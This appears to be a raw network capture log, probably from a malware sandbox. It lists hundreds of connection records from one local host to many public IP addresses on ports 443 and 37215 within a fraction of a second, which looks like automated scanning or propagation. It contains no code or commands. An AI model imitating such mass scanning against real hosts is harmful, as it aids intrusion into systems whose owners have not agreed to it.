Apr 14, 2024 03:59:52.057312012 CEST	2135	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.057312965 CEST	2135	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.057317019 CEST	443	2135	202.176.161.27	192.168.2.23
Apr 14, 2024 03:59:52.057317972 CEST	443	2135	42.249.81.52	192.168.2.23
Apr 14, 2024 03:59:52.057318926 CEST	443	2135	37.105.85.27	192.168.2.23
Apr 14, 2024 03:59:52.057322979 CEST	443	2135	178.85.241.185	192.168.2.23
Apr 14, 2024 03:59:52.057324886 CEST	443	2135	123.2.207.82	192.168.2.23
Apr 14, 2024 03:59:52.057324886 CEST	2135	443	192.168.2.23	202.181.132.31
Apr 14, 2024 03:59:52.057328939 CEST	443	2135	5.130.26.200	192.168.2.23
Apr 14, 2024 03:59:52.057329893 CEST	2135	443	192.168.2.23	37.19.188.209
Apr 14, 2024 03:59:52.057331085 CEST	443	2135	118.16.138.1	192.168.2.23
Apr 14, 2024 03:59:52.057332993 CEST	443	2135	117.134.141.233	192.168.2.23
Apr 14, 2024 03:59:52.057332993 CEST	2135	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.057332993 CEST	2135	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.057332993 CEST	2135	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.057334900 CEST	443	2135	42.58.12.247	192.168.2.23
Apr 14, 2024 03:59:52.057337046 CEST	2135	443	192.168.2.23	178.110.229.146
Apr 14, 2024 03:59:52.057337046 CEST	2135	443	192.168.2.23	42.249.81.52
Apr 14, 2024 03:59:52.057343006 CEST	2135	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.057343006 CEST	443	2135	212.227.51.55	192.168.2.23
Apr 14, 2024 03:59:52.057346106 CEST	2135	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.057346106 CEST	2135	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.057347059 CEST	443	2135	2.9.117.250	192.168.2.23
Apr 14, 2024 03:59:52.057346106 CEST	2135	443	192.168.2.23	123.34.181.137
Apr 14, 2024 03:59:52.057349920 CEST	443	2135	178.130.49.55	192.168.2.23
Apr 14, 2024 03:59:52.057356119 CEST	2135	443	192.168.2.23	202.176.161.27
Apr 14, 2024 03:59:52.057359934 CEST	443	2135	123.83.77.73	192.168.2.23
Apr 14, 2024 03:59:52.057359934 CEST	443	2135	148.121.84.160	192.168.2.23
Apr 14, 2024 03:59:52.057360888 CEST	443	2135	94.195.244.164	192.168.2.23
Apr 14, 2024 03:59:52.057363987 CEST	2135	443	192.168.2.23	5.130.26.200
Apr 14, 2024 03:59:52.057364941 CEST	2135	443	192.168.2.23	37.105.85.27
Apr 14, 2024 03:59:52.057364941 CEST	2135	443	192.168.2.23	42.58.12.247
Apr 14, 2024 03:59:52.057367086 CEST	443	2135	79.237.29.178	192.168.2.23
Apr 14, 2024 03:59:52.057374954 CEST	443	2135	109.158.51.60	192.168.2.23
Apr 14, 2024 03:59:52.057379007 CEST	2135	443	192.168.2.23	178.85.241.185
Apr 14, 2024 03:59:52.057394981 CEST	2135	443	192.168.2.23	118.16.138.1
Apr 14, 2024 03:59:52.057400942 CEST	2135	443	192.168.2.23	117.134.141.233
Apr 14, 2024 03:59:52.057403088 CEST	2135	443	192.168.2.23	212.227.51.55
Apr 14, 2024 03:59:52.057403088 CEST	2135	443	192.168.2.23	123.83.77.73
Apr 14, 2024 03:59:52.057415009 CEST	2135	443	192.168.2.23	109.158.51.60
Apr 14, 2024 03:59:52.057415009 CEST	2135	443	192.168.2.23	94.195.244.164
Apr 14, 2024 03:59:52.057437897 CEST	2135	443	192.168.2.23	79.237.29.178
Apr 14, 2024 03:59:52.057437897 CEST	2135	443	192.168.2.23	2.9.117.250
Apr 14, 2024 03:59:52.057437897 CEST	2135	443	192.168.2.23	148.121.84.160
Apr 14, 2024 03:59:52.057444096 CEST	2135	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.057445049 CEST	2135	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.057446003 CEST	2135	443	192.168.2.23	123.2.207.82
Apr 14, 2024 03:59:52.057445049 CEST	2135	443	192.168.2.23	178.130.49.55
Apr 14, 2024 03:59:52.057446003 CEST	2135	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.057446003 CEST	2135	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.057447910 CEST	2135	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.057451010 CEST	443	2135	148.83.222.96	192.168.2.23
Apr 14, 2024 03:59:52.057456017 CEST	443	2135	94.99.213.165	192.168.2.23
Apr 14, 2024 03:59:52.057456970 CEST	443	2135	109.230.172.207	192.168.2.23
Apr 14, 2024 03:59:52.057459116 CEST	2135	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.057460070 CEST	2135	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.057460070 CEST	2135	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.057460070 CEST	2135	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.057460070 CEST	2135	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.057461023 CEST	2135	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.057461023 CEST	2135	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.057462931 CEST	443	2135	148.15.194.53	192.168.2.23
Apr 14, 2024 03:59:52.057463884 CEST	443	2135	109.150.254.167	192.168.2.23
Apr 14, 2024 03:59:52.057466030 CEST	2135	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.057466984 CEST	443	2135	79.7.121.204	192.168.2.23
Apr 14, 2024 03:59:52.057470083 CEST	2135	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.057470083 CEST	2135	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.057471037 CEST	2135	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.057470083 CEST	2135	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.057471037 CEST	2135	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.057473898 CEST	443	2135	212.110.91.134	192.168.2.23
Apr 14, 2024 03:59:52.057473898 CEST	2135	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.057475090 CEST	443	2135	202.190.12.93	192.168.2.23
Apr 14, 2024 03:59:52.057476997 CEST	443	2135	210.175.103.81	192.168.2.23
Apr 14, 2024 03:59:52.057478905 CEST	2135	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.057478905 CEST	2135	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.057478905 CEST	2135	443	192.168.2.23	94.99.213.165
Apr 14, 2024 03:59:52.057480097 CEST	443	2135	123.236.80.7	192.168.2.23
Apr 14, 2024 03:59:52.057482004 CEST	443	2135	42.132.39.246	192.168.2.23
Apr 14, 2024 03:59:52.057485104 CEST	443	2135	118.140.213.51	192.168.2.23
Apr 14, 2024 03:59:52.057487011 CEST	443	2135	178.214.66.7	192.168.2.23
Apr 14, 2024 03:59:52.057487011 CEST	443	2135	123.183.247.81	192.168.2.23
Apr 14, 2024 03:59:52.057488918 CEST	443	2135	37.92.249.236	192.168.2.23
Apr 14, 2024 03:59:52.057490110 CEST	443	2135	94.139.151.205	192.168.2.23
Apr 14, 2024 03:59:52.057491064 CEST	443	2135	148.138.143.237	192.168.2.23
Apr 14, 2024 03:59:52.057492018 CEST	2135	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.057492018 CEST	2135	443	192.168.2.23	148.83.222.96
Apr 14, 2024 03:59:52.057493925 CEST	443	2135	212.139.85.28	192.168.2.23
Apr 14, 2024 03:59:52.057497025 CEST	443	2135	37.101.160.64	192.168.2.23
Apr 14, 2024 03:59:52.057497978 CEST	443	2135	210.145.245.166	192.168.2.23
Apr 14, 2024 03:59:52.057499886 CEST	2135	443	192.168.2.23	178.132.220.5
Apr 14, 2024 03:59:52.057502985 CEST	443	2135	202.65.109.1	192.168.2.23
Apr 14, 2024 03:59:52.057507992 CEST	443	2135	178.132.220.5	192.168.2.23
Apr 14, 2024 03:59:52.057514906 CEST	443	2135	202.169.32.182	192.168.2.23
Apr 14, 2024 03:59:52.057514906 CEST	2135	443	192.168.2.23	109.230.172.207
Apr 14, 2024 03:59:52.057522058 CEST	2135	443	192.168.2.23	123.236.80.7
Apr 14, 2024 03:59:52.057527065 CEST	2135	443	192.168.2.23	42.132.39.246
Apr 14, 2024 03:59:52.057527065 CEST	2135	443	192.168.2.23	123.183.247.81
Apr 14, 2024 03:59:52.057528973 CEST	2135	443	192.168.2.23	202.190.12.93
Apr 14, 2024 03:59:52.057528973 CEST	2135	443	192.168.2.23	212.110.91.134
Apr 14, 2024 03:59:52.057528973 CEST	2135	443	192.168.2.23	178.214.66.7
Apr 14, 2024 03:59:52.057532072 CEST	2135	443	192.168.2.23	118.140.213.51
Apr 14, 2024 03:59:52.057538986 CEST	2135	443	192.168.2.23	37.92.249.236
Apr 14, 2024 03:59:52.057539940 CEST	2135	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.057539940 CEST	2135	443	192.168.2.23	79.7.121.204
Apr 14, 2024 03:59:52.057543993 CEST	2135	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.057543993 CEST	2135	443	192.168.2.23	210.175.103.81
Apr 14, 2024 03:59:52.057549000 CEST	443	2135	94.109.91.124	192.168.2.23
Apr 14, 2024 03:59:52.057552099 CEST	443	2135	212.235.121.229	192.168.2.23
Apr 14, 2024 03:59:52.057575941 CEST	2135	443	192.168.2.23	148.138.143.237
Apr 14, 2024 03:59:52.057575941 CEST	2135	443	192.168.2.23	210.145.245.166
Apr 14, 2024 03:59:52.057578087 CEST	2135	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.057578087 CEST	2135	443	192.168.2.23	212.139.85.28
Apr 14, 2024 03:59:52.057578087 CEST	2135	443	192.168.2.23	202.65.109.1
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	148.15.194.53
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	109.150.254.167
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	94.139.151.205
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.057579994 CEST	2135	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.057583094 CEST	2135	443	192.168.2.23	37.101.160.64
Apr 14, 2024 03:59:52.057584047 CEST	2135	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.057586908 CEST	2135	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.057586908 CEST	2135	443	192.168.2.23	178.161.104.165
Apr 14, 2024 03:59:52.057589054 CEST	2135	443	192.168.2.23	178.132.220.5
Apr 14, 2024 03:59:52.057589054 CEST	443	2135	109.121.31.246	192.168.2.23
Apr 14, 2024 03:59:52.057590008 CEST	2135	443	192.168.2.23	212.235.121.229
Apr 14, 2024 03:59:52.057591915 CEST	443	2135	148.199.41.89	192.168.2.23
Apr 14, 2024 03:59:52.057594061 CEST	443	2135	210.124.158.184	192.168.2.23
Apr 14, 2024 03:59:52.057595015 CEST	443	2135	109.228.251.206	192.168.2.23
Apr 14, 2024 03:59:52.057595015 CEST	443	2135	178.161.104.165	192.168.2.23
Apr 14, 2024 03:59:52.057602882 CEST	443	2135	5.175.127.211	192.168.2.23
Apr 14, 2024 03:59:52.057604074 CEST	2135	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.057604074 CEST	2135	443	192.168.2.23	202.169.32.182
Apr 14, 2024 03:59:52.057610035 CEST	2135	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.057610035 CEST	2135	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.057610989 CEST	443	2135	2.39.27.50	192.168.2.23
Apr 14, 2024 03:59:52.057615042 CEST	443	2135	212.146.2.105	192.168.2.23
Apr 14, 2024 03:59:52.057617903 CEST	2135	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.057619095 CEST	443	2135	123.124.229.222	192.168.2.23
Apr 14, 2024 03:59:52.057619095 CEST	2135	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.057627916 CEST	443	2135	123.207.89.21	192.168.2.23
Apr 14, 2024 03:59:52.057630062 CEST	443	2135	178.3.15.224	192.168.2.23
Apr 14, 2024 03:59:52.057630062 CEST	443	2135	117.46.212.43	192.168.2.23
Apr 14, 2024 03:59:52.057630062 CEST	5975	37215	192.168.2.23	156.149.229.107
Apr 14, 2024 03:59:52.057636023 CEST	2135	443	192.168.2.23	5.175.127.211
Apr 14, 2024 03:59:52.057636023 CEST	2135	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.057636023 CEST	2135	443	192.168.2.23	212.146.2.105
Apr 14, 2024 03:59:52.057637930 CEST	2135	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.057637930 CEST	2135	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.057642937 CEST	443	2135	5.32.1.59	192.168.2.23
Apr 14, 2024 03:59:52.057643890 CEST	2135	443	192.168.2.23	109.228.251.206
Apr 14, 2024 03:59:52.057645082 CEST	5975	37215	192.168.2.23	197.101.1.197
Apr 14, 2024 03:59:52.057646036 CEST	2135	443	192.168.2.23	94.109.91.124
Apr 14, 2024 03:59:52.057646036 CEST	2135	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.057646036 CEST	2135	443	192.168.2.23	123.124.229.222
Apr 14, 2024 03:59:52.057646036 CEST	2135	443	192.168.2.23	210.124.158.184
Apr 14, 2024 03:59:52.057646036 CEST	2135	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.057647943 CEST	443	2135	123.18.217.253	192.168.2.23
Apr 14, 2024 03:59:52.057647943 CEST	443	2135	123.18.197.210	192.168.2.23
Apr 14, 2024 03:59:52.057647943 CEST	2135	443	192.168.2.23	148.199.41.89
Apr 14, 2024 03:59:52.057656050 CEST	443	2135	117.37.122.214	192.168.2.23
Apr 14, 2024 03:59:52.057658911 CEST	2135	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.057658911 CEST	2135	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.057663918 CEST	443	2135	42.14.81.180	192.168.2.23
Apr 14, 2024 03:59:52.057667017 CEST	443	2135	5.22.192.44	192.168.2.23
Apr 14, 2024 03:59:52.057674885 CEST	2135	443	192.168.2.23	109.121.31.246
Apr 14, 2024 03:59:52.057677984 CEST	443	2135	210.27.135.59	192.168.2.23
Apr 14, 2024 03:59:52.057686090 CEST	2135	443	192.168.2.23	123.18.197.210
Apr 14, 2024 03:59:52.057691097 CEST	2135	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.057691097 CEST	2135	443	192.168.2.23	5.32.1.59
Apr 14, 2024 03:59:52.057693005 CEST	2135	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.057694912 CEST	2135	443	192.168.2.23	2.39.27.50
Apr 14, 2024 03:59:52.057694912 CEST	5975	37215	192.168.2.23	41.99.160.7
Apr 14, 2024 03:59:52.057696104 CEST	2135	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.057694912 CEST	5975	37215	192.168.2.23	197.126.10.201
Apr 14, 2024 03:59:52.057696104 CEST	443	2135	37.56.197.103	192.168.2.23
Apr 14, 2024 03:59:52.057694912 CEST	2135	443	192.168.2.23	123.18.217.253
Apr 14, 2024 03:59:52.057698011 CEST	5975	37215	192.168.2.23	41.145.240.130
Apr 14, 2024 03:59:52.057696104 CEST	2135	443	192.168.2.23	178.161.104.165
Apr 14, 2024 03:59:52.057698011 CEST	2135	443	192.168.2.23	117.37.122.214
Apr 14, 2024 03:59:52.057698011 CEST	2135	443	192.168.2.23	178.3.15.224
Apr 14, 2024 03:59:52.057703972 CEST	443	2135	178.28.218.195	192.168.2.23
Apr 14, 2024 03:59:52.057706118 CEST	443	2135	2.59.99.0	192.168.2.23
Apr 14, 2024 03:59:52.057715893 CEST	2135	443	192.168.2.23	123.207.89.21
Apr 14, 2024 03:59:52.057718992 CEST	2135	443	192.168.2.23	117.46.212.43
Apr 14, 2024 03:59:52.057718992 CEST	2135	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.057719946 CEST	5975	37215	192.168.2.23	197.195.96.192
Apr 14, 2024 03:59:52.057728052 CEST	5975	37215	192.168.2.23	41.152.245.11
Apr 14, 2024 03:59:52.057732105 CEST	443	2135	79.154.29.216	192.168.2.23
Apr 14, 2024 03:59:52.057739973 CEST	2135	443	192.168.2.23	5.22.192.44
Apr 14, 2024 03:59:52.057739973 CEST	2135	443	192.168.2.23	210.27.135.59
Apr 14, 2024 03:59:52.057740927 CEST	2135	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.057740927 CEST	5975	37215	192.168.2.23	197.72.110.141
Apr 14, 2024 03:59:52.057740927 CEST	2135	443	192.168.2.23	42.14.81.180
Apr 14, 2024 03:59:52.057740927 CEST	2135	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.057742119 CEST	2135	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.057749033 CEST	5975	37215	192.168.2.23	41.19.228.128
Apr 14, 2024 03:59:52.057749033 CEST	2135	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.057749033 CEST	2135	443	192.168.2.23	178.28.218.195
Apr 14, 2024 03:59:52.057749987 CEST	443	2135	2.0.111.211	192.168.2.23
Apr 14, 2024 03:59:52.057750940 CEST	2135	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.057750940 CEST	2135	443	192.168.2.23	37.56.197.103
Apr 14, 2024 03:59:52.057750940 CEST	2135	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.057750940 CEST	5975	37215	192.168.2.23	156.207.22.214
Apr 14, 2024 03:59:52.057754993 CEST	2135	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.057754993 CEST	2135	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.057754993 CEST	2135	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.057754993 CEST	5975	37215	192.168.2.23	156.176.212.187
Apr 14, 2024 03:59:52.057759047 CEST	443	2135	79.63.148.202	192.168.2.23
Apr 14, 2024 03:59:52.057760954 CEST	443	2135	123.207.154.205	192.168.2.23
Apr 14, 2024 03:59:52.057770967 CEST	443	2135	202.115.215.133	192.168.2.23
Apr 14, 2024 03:59:52.057771921 CEST	443	2135	212.165.112.38	192.168.2.23
Apr 14, 2024 03:59:52.057775021 CEST	5975	37215	192.168.2.23	41.236.105.140
Apr 14, 2024 03:59:52.057775974 CEST	443	2135	2.70.214.211	192.168.2.23
Apr 14, 2024 03:59:52.057781935 CEST	2135	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.057781935 CEST	2135	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.057784081 CEST	443	2135	212.48.54.54	192.168.2.23
Apr 14, 2024 03:59:52.057781935 CEST	5975	37215	192.168.2.23	156.161.138.227
Apr 14, 2024 03:59:52.057781935 CEST	5975	37215	192.168.2.23	156.122.37.168
Apr 14, 2024 03:59:52.057787895 CEST	443	2135	210.133.134.119	192.168.2.23
Apr 14, 2024 03:59:52.057789087 CEST	5975	37215	192.168.2.23	197.183.48.13
Apr 14, 2024 03:59:52.057792902 CEST	443	2135	117.39.131.212	192.168.2.23
Apr 14, 2024 03:59:52.057795048 CEST	443	2135	210.196.103.94	192.168.2.23
Apr 14, 2024 03:59:52.057796001 CEST	2135	443	192.168.2.23	2.59.99.0
Apr 14, 2024 03:59:52.057796001 CEST	2135	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.057796001 CEST	2135	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.057796001 CEST	2135	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.057797909 CEST	5975	37215	192.168.2.23	197.129.225.184
Apr 14, 2024 03:59:52.057805061 CEST	5975	37215	192.168.2.23	41.95.216.147
Apr 14, 2024 03:59:52.057805061 CEST	443	2135	117.132.255.181	192.168.2.23
Apr 14, 2024 03:59:52.057807922 CEST	2135	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.057810068 CEST	443	2135	178.70.170.179	192.168.2.23
Apr 14, 2024 03:59:52.057811975 CEST	2135	443	192.168.2.23	79.63.148.202
Apr 14, 2024 03:59:52.057812929 CEST	2135	443	192.168.2.23	202.115.215.133
Apr 14, 2024 03:59:52.057813883 CEST	443	2135	118.190.17.246	192.168.2.23
Apr 14, 2024 03:59:52.057816029 CEST	2135	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.057816982 CEST	2135	443	192.168.2.23	123.92.137.202
Apr 14, 2024 03:59:52.057816982 CEST	2135	443	192.168.2.23	123.207.154.205
Apr 14, 2024 03:59:52.057816982 CEST	5975	37215	192.168.2.23	197.178.139.157
Apr 14, 2024 03:59:52.057820082 CEST	2135	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.057820082 CEST	2135	443	192.168.2.23	212.165.112.38
Apr 14, 2024 03:59:52.057822943 CEST	443	2135	123.253.199.190	192.168.2.23
Apr 14, 2024 03:59:52.057822943 CEST	443	2135	109.157.48.82	192.168.2.23
Apr 14, 2024 03:59:52.057823896 CEST	5975	37215	192.168.2.23	156.115.219.8
Apr 14, 2024 03:59:52.057831049 CEST	443	2135	123.92.137.202	192.168.2.23
Apr 14, 2024 03:59:52.057832003 CEST	5975	37215	192.168.2.23	41.58.21.75
Apr 14, 2024 03:59:52.057832956 CEST	5975	37215	192.168.2.23	197.151.55.156
Apr 14, 2024 03:59:52.057832956 CEST	2135	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.057832956 CEST	2135	443	192.168.2.23	210.196.103.94
Apr 14, 2024 03:59:52.057836056 CEST	2135	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.057837009 CEST	443	2135	79.175.48.192	192.168.2.23
Apr 14, 2024 03:59:52.057837963 CEST	2135	443	192.168.2.23	117.39.131.212
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	2.0.111.211
Apr 14, 2024 03:59:52.057838917 CEST	443	2135	37.5.227.3	192.168.2.23
Apr 14, 2024 03:59:52.057837963 CEST	5975	37215	192.168.2.23	41.211.30.153
Apr 14, 2024 03:59:52.057838917 CEST	5975	37215	192.168.2.23	156.197.19.207
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	2.70.214.211
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	210.133.134.119
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	79.154.29.216
Apr 14, 2024 03:59:52.057838917 CEST	5975	37215	192.168.2.23	41.192.222.93
Apr 14, 2024 03:59:52.057842970 CEST	443	2135	109.22.195.252	192.168.2.23
Apr 14, 2024 03:59:52.057843924 CEST	443	2135	178.150.57.5	192.168.2.23
Apr 14, 2024 03:59:52.057838917 CEST	5975	37215	192.168.2.23	197.228.7.74
Apr 14, 2024 03:59:52.057838917 CEST	2135	443	192.168.2.23	117.132.255.181
Apr 14, 2024 03:59:52.057858944 CEST	443	2135	5.113.223.205	192.168.2.23
Apr 14, 2024 03:59:52.057862997 CEST	443	2135	202.211.133.80	192.168.2.23
Apr 14, 2024 03:59:52.057869911 CEST	2135	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.057869911 CEST	2135	443	192.168.2.23	212.48.54.54
Apr 14, 2024 03:59:52.057869911 CEST	2135	443	192.168.2.23	37.5.227.3
Apr 14, 2024 03:59:52.057874918 CEST	5975	37215	192.168.2.23	156.122.215.1
Apr 14, 2024 03:59:52.057877064 CEST	2135	443	192.168.2.23	109.157.48.82
Apr 14, 2024 03:59:52.057878971 CEST	5975	37215	192.168.2.23	197.205.242.111
Apr 14, 2024 03:59:52.057882071 CEST	5975	37215	192.168.2.23	197.151.46.88
Apr 14, 2024 03:59:52.057882071 CEST	5975	37215	192.168.2.23	197.170.154.134
Apr 14, 2024 03:59:52.057883978 CEST	443	2135	118.7.202.51	192.168.2.23
Apr 14, 2024 03:59:52.057885885 CEST	5975	37215	192.168.2.23	156.172.138.123
Apr 14, 2024 03:59:52.057885885 CEST	2135	443	192.168.2.23	123.92.137.202
Apr 14, 2024 03:59:52.057885885 CEST	2135	443	192.168.2.23	109.22.195.252
Apr 14, 2024 03:59:52.057887077 CEST	2135	443	192.168.2.23	118.190.17.246
Apr 14, 2024 03:59:52.057885885 CEST	2135	443	192.168.2.23	178.150.57.5
Apr 14, 2024 03:59:52.057887077 CEST	5975	37215	192.168.2.23	156.43.10.212
Apr 14, 2024 03:59:52.057887077 CEST	5975	37215	192.168.2.23	41.209.20.154
Apr 14, 2024 03:59:52.057890892 CEST	5975	37215	192.168.2.23	41.17.248.181
Apr 14, 2024 03:59:52.057890892 CEST	5975	37215	192.168.2.23	197.253.102.222
Apr 14, 2024 03:59:52.057890892 CEST	5975	37215	192.168.2.23	156.130.144.242
Apr 14, 2024 03:59:52.057890892 CEST	5975	37215	192.168.2.23	156.243.171.53
Apr 14, 2024 03:59:52.057909966 CEST	2135	443	192.168.2.23	5.113.223.205
Apr 14, 2024 03:59:52.057914019 CEST	2135	443	192.168.2.23	202.211.133.80
Apr 14, 2024 03:59:52.057921886 CEST	2135	443	192.168.2.23	178.70.170.179
Apr 14, 2024 03:59:52.057921886 CEST	2135	443	192.168.2.23	123.253.199.190
Apr 14, 2024 03:59:52.057921886 CEST	2135	443	192.168.2.23	79.175.48.192
Apr 14, 2024 03:59:52.057924986 CEST	5975	37215	192.168.2.23	41.55.198.139
Apr 14, 2024 03:59:52.057925940 CEST	2135	443	192.168.2.23	118.7.202.51
Apr 14, 2024 03:59:52.057924986 CEST	5975	37215	192.168.2.23	197.241.185.144
Apr 14, 2024 03:59:52.057938099 CEST	5975	37215	192.168.2.23	41.253.19.252
Apr 14, 2024 03:59:52.057938099 CEST	5975	37215	192.168.2.23	156.229.73.97
Apr 14, 2024 03:59:52.057943106 CEST	5975	37215	192.168.2.23	41.112.136.20
Apr 14, 2024 03:59:52.057949066 CEST	5975	37215	192.168.2.23	197.217.6.156
Apr 14, 2024 03:59:52.057962894 CEST	5975	37215	192.168.2.23	41.82.247.82
Apr 14, 2024 03:59:52.057991982 CEST	5975	37215	192.168.2.23	41.79.15.214
Apr 14, 2024 03:59:52.057991982 CEST	5975	37215	192.168.2.23	41.11.234.65
Apr 14, 2024 03:59:52.057991982 CEST	5975	37215	192.168.2.23	197.89.228.188
Apr 14, 2024 03:59:52.057996988 CEST	5975	37215	192.168.2.23	41.197.235.198
Apr 14, 2024 03:59:52.058005095 CEST	5975	37215	192.168.2.23	41.178.70.169
Apr 14, 2024 03:59:52.058005095 CEST	5975	37215	192.168.2.23	197.23.240.200
Apr 14, 2024 03:59:52.058006048 CEST	5975	37215	192.168.2.23	41.96.177.169
Apr 14, 2024 03:59:52.058007002 CEST	5975	37215	192.168.2.23	41.179.53.62
Apr 14, 2024 03:59:52.058007002 CEST	5975	37215	192.168.2.23	197.180.83.91
Apr 14, 2024 03:59:52.058007002 CEST	5975	37215	192.168.2.23	197.20.105.73
Apr 14, 2024 03:59:52.058007002 CEST	5975	37215	192.168.2.23	156.30.132.190
Apr 14, 2024 03:59:52.058007002 CEST	5975	37215	192.168.2.23	41.23.10.200
Apr 14, 2024 03:59:52.058016062 CEST	5975	37215	192.168.2.23	156.250.242.216
Apr 14, 2024 03:59:52.058016062 CEST	5975	37215	192.168.2.23	156.195.92.208
Apr 14, 2024 03:59:52.058018923 CEST	5975	37215	192.168.2.23	197.127.56.67
Apr 14, 2024 03:59:52.058022022 CEST	5975	37215	192.168.2.23	156.77.189.181
Apr 14, 2024 03:59:52.058036089 CEST	5975	37215	192.168.2.23	41.97.68.231
Apr 14, 2024 03:59:52.058063030 CEST	5975	37215	192.168.2.23	156.4.60.148
Apr 14, 2024 03:59:52.058063030 CEST	5975	37215	192.168.2.23	41.22.113.100
Apr 14, 2024 03:59:52.058063030 CEST	5975	37215	192.168.2.23	156.25.140.135
Apr 14, 2024 03:59:52.058072090 CEST	5975	37215	192.168.2.23	156.64.203.124
Apr 14, 2024 03:59:52.058083057 CEST	5975	37215	192.168.2.23	156.208.55.14
Apr 14, 2024 03:59:52.058083057 CEST	5975	37215	192.168.2.23	41.50.3.244
Apr 14, 2024 03:59:52.058084965 CEST	5975	37215	192.168.2.23	156.8.218.11
Apr 14, 2024 03:59:52.058085918 CEST	5975	37215	192.168.2.23	156.100.64.241
Apr 14, 2024 03:59:52.058087111 CEST	5975	37215	192.168.2.23	41.191.28.35
Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	156.80.137.200
Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	41.103.125.37
Apr 14, 2024 03:59:52.058088064 CEST	5975	37215	192.168.2.23	41.56.188.250
